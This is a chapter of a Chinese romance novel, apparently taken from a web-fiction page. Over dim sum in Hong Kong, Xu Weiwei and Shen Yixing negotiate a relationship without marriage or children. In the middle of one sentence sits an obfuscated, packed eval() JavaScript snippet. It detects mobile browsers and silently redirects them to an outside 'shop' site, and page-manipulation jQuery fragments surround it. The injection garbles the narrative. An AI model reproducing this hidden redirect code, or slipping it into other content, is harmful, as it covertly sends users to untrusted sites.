香港的早茶楼子，和申城的不一样。
申城的茶楼是静的，帘子垂着，檀香燃着，说话的人都压着嗓子，像怕惊着了墙上那幅画里的仕女。
香港的茶楼是动的——推车吱吱呀呀地在桌缝间穿行，蒸笼叠成小山，白汽从缝隙里涌出来，像一小团一小团的云。
碗筷碰撞的脆响、茶壶盖掀开时的热气、邻桌阿婆用粤语讲家长里短的碎音，混在一起，织成一张密密的、暖融融的网。
许薇薇坐在靠窗的卡座里，面前摊着一份烫金的菜单，却一个字都没看进去。
沈毅行坐在她对面，正低头把两双筷子从纸套里抽出来，对齐了，搁在桌边的瓷架上。
他今天穿了一件浅灰色的亚麻衬衫，在晨光里泛着一层干净的光。
“想吃什么？”
“虾饺。”
“还有呢？”
“你点吧。你比我懂。”
沈毅行没有推辞。他招了招手，一个推着蒸笼车的阿姐过来。
他指着车上的笼屉，一笼一笼地数：“虾饺两笼，烧卖一笼，凤爪一碟，叉烧包两个，肠粉一份，蛋挞一打。”
顿了一下，又补了一句：“再来一壶普洱，要热一点。”
阿姐笑着点头，手脚麻利地把蒸笼端上桌。
热气扑面而来，带着虾仁和猪肉的鲜香，混着糯米和豉油的醇厚气息，像一只温热的、毛茸茸的手拂过她的脸颊。
许薇薇拿起筷子，夹了一只虾饺，咬了一口。
皮薄而韧，虾仁弹牙，汤汁在舌尖上化开，鲜得她眯了一下眼睛。
“好吃？”
“好吃。”
“那就多吃点。”沈毅行把另一笼虾饺往她那边推了推，“你前几天都没怎么吃饭。”
许薇薇的手顿了一下，没有接话。
窗外的天光已经从灰蓝变成了浅金，阳光斜斜地照进来，在桌面上铺了一小块暖融融的光斑。
蒸笼里的白汽还在袅袅地升着，混着普洱茶的陈香，把两个人之间的空气填得满满的，不留一丝空隙。
她放下筷子，端起茶杯抿了一口。普洱醇厚，入口微涩，舌尖上停一瞬，又泛起回甘。
“沈毅行，我有话想跟你说。”
沈毅行正在夹一只凤爪，筷子悬在半空中，停了一下，然后稳稳地夹起那只凤爪，放进自己碗里。
他低头咬了一口，嚼了嚼，咽下去：“你说。我听着。”
“我们之间，不能再这样下去了。”
“哪样？”
“像现在这样。似是而非的。也没有一个名分，也说不清接下来要怎样。你对我好，我也会回应你，可所有的回应都像是在慢跑。谁都不知道要跑向哪里。”
沈毅行的筷子在碗沿上搁了下来。
“那你想跑到哪里？”
“我——”许薇薇低下头，看着杯中浮沉的茶汤，“我想跟你分手。”
她说出最后两个字的时候，几乎是咬着舌头的。
沈毅行没有立刻接话，只是靠在椅背上，看着她。
目光里没有愤怒，没有惊讶，甚至没有受伤，只有一种沉静的等待。
好像他已经预料到她会说这句话，只是不知道她会在什么时候说出口。
“为什么？”沈毅行的声音很平静，“是因为那天早上——你觉得我对你做那些事，是不尊重你？”
“不是。”许薇薇抬起头，“那天早上是我自己没推开你。我怪不了谁。”
“那是什么？”
许薇薇放下茶杯，深吸一口气：“是因为我不知道，跟你在一起，我会变成什么样。我自己都不了解自己了。”
“跟你在一起后，我变得好软弱。以前你伤害我，我可以很硬气地离开你。可那天早上，我明明知道你在装病——可我还是扑过去了，还是害怕了。我对自己很失望。”
“那你对我失望么？”沈毅行问。
“不，我只是对自己失望——变得这么不像自己，总归要失望的。”
“你有没有想过，”沈毅行接过话头，“你变得‘不像自己’，也许是因为你终于允许自己软下来了。”
许薇薇抬眼看着他，没有说话。
“以前你是一个人，没有人替你撑，所以你不能软下来。可现在你有我，你可以软一点了。”
许薇薇低头看着那笼正在慢慢变凉的虾饺：“那你觉得，我想要什么？”
“你想要一个不是靠算计留住你，也不是靠钱买通你的人。是一个你晚上醒过来，伸手就能碰到的人。”
许薇薇的呼吸猛地顿了一下，像一片被风掀起的枯叶，在半空中悬了一息，又慢慢落回地面。
“我们能不能换一种方式相处？”她听见自己的声音在问，“你不想分手可以暂时不分手，但我们也不结婚，不提未来。”
“不提未来是什么意思？”
“就是——我们在一起，过好当下的每一天，走一步看一步，不承诺你娶我，我也不承诺会嫁给你。我暂时没有考虑结婚的打算，也从来都不想要孩子。不只是因为你，是我不想要。从来没有想过。”
她说最后那句话的时候，把目光从他脸上移开，落向窗外那一片灰蓝色的海面。
“我从小没见过什么好的婚姻。我妈等了一辈子，也没等到一个名分。她走的时候，床边没有丈夫，只有一个没成年的女儿，叫她牵挂。后来在爱丁堡读书，也见过同学结婚生子，但我总觉得那跟我没什么关系。”
“我从来没有想过，自己会成为谁的妻子，更没想过会成为谁的母亲。这些角色，好像天生就跟我隔着一层什么东西。”
“你能接受吗？一个不打算结婚、不想要孩子的女人？”
沈毅行看着她，眼睛里有近乎平静的笃定。
“我能。”
他回答得太快了，快到许薇薇以为自己听错了。
“你说什么？”
“我说，我能接受。”沈毅行端起茶杯，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666294|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喝了一口，“不结婚就不结婚。不要孩子就不要孩子。都不重要。”
“什么叫都不重要？”
“对我来说，重要的只有一件事——你在不在我身边。”
许薇薇忽然觉得眼眶有些发烫。她低下头，用指尖擦了擦眼角：“你在哄我。这种条件你都原意……”
“我认真的。这些不重要。”
“怎么可能不重要？你是沈家的顶梁柱。你父亲不会同意——”
“他同不同意，跟我有什么关系？”沈毅行放下茶杯，“要跟你谈恋爱的人是我，不是他。我不在乎他同不同意。”
“那以后呢？万一你父亲逼你结婚生子，你怎么办？”
“我就告诉他，我不想要。”
许薇薇笑了，笑得有些无奈：“你怎么总能把什么事都想得这么简单？”
“不是简单。”沈毅行说，“是想清楚了，就不觉得难了。”
许薇薇低下头，那杯普洱已经凉了半截，茶汤表面凝起一层薄薄的膜，像一个刚刚合拢的伤口。
她忽然觉得，心里的某个角落正在松动，像一扇生锈很久的门，终于被人从外面推了一下，门轴发出沉闷的声响。
“我承认，我是有点喜欢你。”她的声音很低，低到几乎被茶楼的喧闹盖过去，“你在我身边，我就安心。”
“我不太会说漂亮话，也不习惯跟人解释自己的感受。”她顿了顿，“但那天早上我确实没有推开你，不是因为心软，是因为——我真的想让你抱着我。”
沈毅行的呼吸重了一瞬。
“再跟你确认一遍，我可以做你的女朋友，跟你谈恋爱，但是不结婚，这样可以吗？”
“可以。”
“如果我们同居的话，各睡各的。只有我想跟你睡，你才可以碰我。”
“放心吧，不强迫。”沈毅行笑了。
“你不会是因为想要我的钱，才答应得这么爽快吧？”许薇薇忽然话锋一转，目光里带着一丝狡黠。
沈毅行愣了一下，然后大笑，笑得肩膀都在抖：“想什么呢？！你把我当什么人了？”
“一个人不会转变得太快的，我还是不放心你。”
“那是以前。”沈毅行收敛了笑意，“我现在真不一样了。”
“怎么不一样？”
“现在只要你愿意留在我身边，就算要我倾家荡产也值得。”
许薇薇看着那张脸，在晨光里被镀上一层薄薄的金色，眼底的神情认真得像在发什么誓。
她忽然觉得，自己心里的那扇门，正在一点一点地被人推开，阳光从门缝里涌进来，暖烘烘的，带着灰尘和青草的气味，照亮了那些她以为永远不会被光照到的地方。
“行吧。那我们试试。”
她说完这句话，重新拿起筷子，夹起那只已经凉透的虾饺，塞进嘴里：“虾饺凉了就不好吃了。你再叫一笼热的吧。”
沈毅行看着她，笑着招了招手：“阿姐！再来两笼虾饺！”